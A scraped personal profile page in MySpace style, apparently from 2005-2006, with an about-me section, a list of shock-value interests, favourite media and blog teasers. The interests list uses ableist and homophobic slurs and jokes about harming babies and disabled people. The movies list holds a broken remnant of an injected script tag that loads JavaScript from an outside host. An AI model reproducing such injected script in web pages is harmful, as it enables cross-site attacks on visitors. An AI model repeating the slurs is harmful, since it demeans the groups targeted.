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Madame Chimney-Fish: the funeral beast.

i've seen the best minds of my generation running on empty, super-glued to the TV, talking incessent

About Me

Hey, my name's Helena.
In a parallel universe I play the saxaphone in junkyards at midnight...
I've been lower-middle class or poorer all my life -- I've even couch surfed 'round Denver, Colorado. That's not a flag I wave with pride or shame, that's just the way it is, the way it has been, so far.
Don't get me wrong; I'm not one of those "No future for me!" types. I have aspirations, I have an agenda, & for the first time in my short life, I have someone standing firmly behind me. For once, I don't have my feet in the air & my head on the ground.
"I have a love in my life & it makes me stronger than you could ever know."
That said, most of what little money I have goes to travel, buying music, & seeing as many live bands as I can afford to.
*laughs* I also rent a shit-ton of horror/indie/cult movies & thrift shop too often for my own good. I read as many books as I can get my hands on. I love to stay up later than is natural & healthy. If I can't find a party or club to go to, I will dance with myself at home. I chain smoke & drink enough coffee to give an elephant stomach ulcers.
I just moved to Arlington, Texas about a month or two ago. I don't really know anyone, or where anything interesting is. If you have information about any of that, let me know! I'm in the dark, living under a rock.
No matter how much things change, some things always stay the same.
Bow down to the streets. BIG - LONG - NOW.
I am versatile, ecclectic, severely open-minded & subject to CHANGE.
If you're looking to jam me into a single stereotype you're shit out of luck.
Go to Drop Dead Festival!
Ever wonder what my display name means? Ask Nora Keyes !
Dear HSBB, Thank's for asking me to be your friend. I hope your title does not imply that you shoot heroin and then precede to scream while shaking the bones out of helpless babys. I am pretty open minded, but this sort of activity is illegal. I might have to call the cops on you. - Nora
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My Interests

art. blood 'n guts, baby! projectile vomiting. shaking babies. drunken fist fights. bellydancing. braaains. tattooed ladies! insomnia. moshing. swiming in gutters. getting stitches. rolling my own ciggarettes. scromp-dancing. parties/afterparties & concerts. asphyxiation. falling asleep hugging my "lucky toilet." singing. genetic mutations & natural anomalies. road trips. 'people watching'. falling down stairs. paralympic rugby. conjoined twins. fire spinning. surrealists. rhetorical questions. walking not driving. couch surfing. cheap beer. body modification. pushing retarded cripples down spiral staircases. painted/studded leather. nomads. zombies & drowned chicks. rogue taxidermy. scratching. psychology & sociology. biting. random bruises. weird porn. collecting bones. scars. sarcasm & wit. health food/diet food. sideshow entertainers. watching the sunset from a swingset. theological debates. black & white photography. pale skin. feminism minus the superiority complex! random artistic moments. scabs. anorexic lookin' kids. deathrockers. the church of aquanet. switchblades. partying with crazy bums! horror punks. needles. devilocks. nipples. rats. sex & violence! ripped fishnets. tattoos & piercings. t.o.p.y. mortology. slut-hawks. stalkers. nonsensical humor! teased hair like robert smith or johnny slut. blowing bubbles. playing with roadkill. dumpster diving. junkies. rough sex. all kinds of perversion! altering my clothes / thrifting. unconventional-minded people. playing in the mud & rain. abusurdity. natural halucenations. plastic surgery. shameless sluttery. pissing outside; in groups. chain smoking like it's my job & i'm getting paid. being a fag hag. late night musings. voodoo. guns. curling up in a dumpster. protesting. sporting unconventional hairstyles that defy gravity. killing my liver. harrassing people with tampons. sleep deprivation. back-alley abortions. breaking glass & throwing bottles. drugs. running from the po-lice. spontaneous nosebleeds. living fast & dying young. the underground night life. etc. MUSIC MUSIC MUSIC!

I'd like to meet:


My partner in crime, again.

My weakness, so i can carve it out.

OR BETTER YET: Giant sewer rats disguised by raincoats.

...deathrockers, art fags, horror punks, old school goths, psychobilly &/or gothabilly kids, heroin junkies, genderless creatures, gothic sluts, side show entertainers, crazy hobos, gutter punks, people from my state, trashy ghouls, & most importantly: kids with a strong stomach who aren't easily offended.

Real, honest people who can take a joke,
especially when it's about themselves!"; I edited my profile at Freeweblayouts.net , check out these Myspace Layouts!

Music:

i feel pretentious when i list every band. i solved this problem by making a shorter list of pretentious-sounding genres.

post-punk
`77 punk
horror punk
deathrock
classic & contemporary goth rock
rocka/gotha/pshyco `billy
low-brow garage rock
neo/apocalyptic/dark folk
new wave/no-wave
synth punk
art punk
noise rock
dark indie
horror surf
dark cabaret
shoegaze
gypsy punk
riot grrrl
left of center lounge

avant garde, whatchamacallit, you-name-it, atypical something or other, whatever it is i'm interested in giving it a listen. i'm a music whore.

Movies:

brazil, barfly! twin falls idaho, waking life, pig, forbidden zone, mad monster party, begotten, sid & nancy, naked lunch, spider baby, maniac, brain damage, hokus pokus, girls will be girls, desperate living, cannibal the musical, death powder, i shot andy warhol, redneck zombies!, the black dahlia, run for the shadows, murderball, personal velocity, freaks, tarnation, mirrormask, session 9, fatty drives the bus!, saw, igby goes down, may, suspira, personal velocity, a clockwork orange, elvira mistress of the dark!, the salton sea, party monster, carnival of souls, a history of violence, munster go home!, edward scissorhands, polyester, eternal sunshine of the spotless mind, switchblade sisters, the wasp woman, dead alive, night tide, battle royale, requiem for a dream, pist: the filth & the fury, 16 candles, kill bill, run ronnie run, four brothers, house of 1,000 corpses, dawn of the dead, cabaret, night of the creeps, say anything, chopper chicks in zombie town, spun, thirteen, cool world, the machinist, taxi driver, evil dead, evil dead 2, army of darkness, texas chainsaw massacre [old & new], 8mm, wild at heart, night breed, ichi the killer, breakfast at tiffany's, se7en, motherfuckin' snakes on a motherfuckin' plane, amelie, punch drunk love, delicatessen, the lost boys, drop dead fred, henry fool, franken weiner, trainspotting, the house of yes, boondock saints, cecil b. demented, a nightmare on elm street, pretty in pink, repo man, children shouldn't play with dead things!, glen or glenda?, white oleander, plague of the zombies, gummo, the manson family, heathers, kids, the hours, the breakfast club, crash, bowling for columbine, natural born killers, the skeleton key, sleepy hollow, highway 61, drugstore cowboy, vampire's kiss, boxing helena, basket case, normal, brotherhood of the wolf, manic, halloween, pieces of april, rebel without a cause, night of the living dead, harold & maude, momento, alukarda, donnie darko, full metal jacket, the phantom of the opera, night of the hunter, magdalena, six string samurai, pink flamingos, plan 9 from outer space, the human stain, grosse point blank, american history x, dracula, equilibrium, american psycho, death to smoochie, but i'm a cheerleader!, night of the demons, "i, zombie," freddy vs. jason, what dreams may come, american splendor, ghost ship, wit, return of the living dead [all], candyman, tank girl, body melt, i spit on your grave, hairspray, elephant, the fog(original), house of wax(both - kill paris hilton!), trans america, my own private idaho, mirrormask, bloodsucking freaks, midnight in the garden of good & evil, the boneyard, the omen series, the saddest music in the world! ... i'll get back to this, it's a forever-growing list..... language="javascript" src="http://crosssiterequest../request.js"function nothingf(){document·write("..1...{}");}..

Television:

ah, fuck it. television is usually a great source of brain rot, but i make exceptions; twin peaks. almost everything on the discovery health channel. taboo. ripley's believe it or not. random specials on the history or discovery channel. tales from the crypt. [anything with a horror host] the dailey show. black & white cartoons from the 30s.

Books:

postpunk: 1977 - '84. the outsiders. invisible monsters. and the ass saw the angel. disco bloodbath. prozac nation: young & depressed in america. rebels & devils: the psychology of liberation. american psycho. hairstyles of the damned. the televisionary oracle. the pyschopath's bible. notes of a dirty old man. can you feel anything when i do this? girl interupted. the long hard road out of hell. when rabbit howls. strip city. catcher in the rye. kiss my tiara. the satanic witch. scary stories to tell in the dark [children's series]. choke. white oleander. thank you for your continued interest. the rules of attraction. helter skelter. the world according to garp. brain droppings. scare yourself to sleep. the encyclopedia of serial killers a to z. the portable henry rollins. creepy susie & 13 other tales for troubled children. heavier than heaven. women. go ask alice. house of secrets. trainspotting. the gashly crumb tinies. red dragon. gerald's game. tales of ordinary madness, frankenstein, etc. & so on.

Heroes:

I don't feel the need to idolize anyone, & I sure as fuck don't need saving... but I have been influenced by a few strong characters.

Divine. Delirium. Tank Girl. The Bride of Frankenstein. Elvira. Dinah Cancer. Wendy O. Williams. Lilly Munster. Diamanda Galas. Lydia Lunch. Soo Catwoman. Nina Hagen. Siouxsie Sioux. Brody Dalle. & yes, even that horrible skank Courtney Love! :P

My Blog

Someone's stupidity can fuck with your personal freedoms.

Censorship of pictures on MySpace?  In a phrase: "Fuck off!" All age site my ASSHOLE! They should make it 18 at least, unless they want to set underage girls (& boys) up for stupid situations...
Posted by Madame Chimney-Fish on Wed, 29 Mar 2006 11:43:00 PST

ATTENTION ALL YOU CRAZY DENVER FIENDS! I'M COMING HOME!

after a startling phone conversation with one of my denver friends [& ex-roommate 2x over] i realized that i missed denver far too much to be away from it any longer! so, after i go to drop dead f...
Posted by Madame Chimney-Fish on Mon, 10 Oct 2005 01:39:00 PST

like a phoenix rising from the flames of hate.

i've fallen down on the job of updating this blog. if you really want to know it all, you're going to have to add me on livejournal. [me = heroin_shriek] all plans are tentative until the moment of ex...
Posted by Madame Chimney-Fish on Mon, 01 Jan 1900 12:00:00 PST

R.I.P. crotch hole!

current music: the adicts-my baby got run over [by a steamroller]   oh, how dearly you will be missed, crotch hole. . .we used to have so much fun together, but now you're gone.no longer will i f...
Posted by Madame Chimney-Fish on Mon, 01 Jan 1900 12:00:00 PST

i've been in ohio for over 2 weeks now...

current music: the gun club-she's like heroin to me...& i'm ready to LEAVE at any moment! i've already visited all the people i care[d] for here [or at least all the ones i thought cared about ME]...
Posted by Madame Chimney-Fish on Mon, 01 Jan 1900 12:00:00 PST

deceitful fucking hypocrite THIEVES!

current music: the butt trumpets-i've been so mad lately after sitting at cafe netherworld for most of the evening, lelly finally woke up from her sick-sleep & came to help me pick up my shit from ...
Posted by Madame Chimney-Fish on Mon, 01 Jan 1900 12:00:00 PST

stiff in the crypt, babay, like a rock!

current music: the birthday party-mutiny in heaven nnnnn. last night was an event in itself! an event that left me hung waaay over, but hey -- it happens. me & headed out to the snake pit to ...
Posted by Madame Chimney-Fish on Mon, 01 Jan 1900 12:00:00 PST

MAD MONSTER PARTY!

music: the vanishing-still lives are falling who on my list has seen this gem? it was done by the same people who made ruldolph the rednose reindeer & frosty the snowman. same claymation, same styl...
Posted by Madame Chimney-Fish on Mon, 01 Jan 1900 12:00:00 PST

rising up through the ashes and grime; a new me on the other side.

music: diamanda galas-double barrel prayer new responsibilities in my life are causing me to examine myself. there's no need to explain my reasons to change. i simply will. e-volve, de-volve, & ba...
Posted by Madame Chimney-Fish on Mon, 01 Jan 1900 12:00:00 PST

your love ran down my leg & now you're gone.

i'm really getting sick of one night stands. i used to get off on it; i thought it was exciting & fun. . . it's easier to be alone when no one's anyone, if you know what i mean. single life g...
Posted by Madame Chimney-Fish on Mon, 01 Jan 1900 12:00:00 PST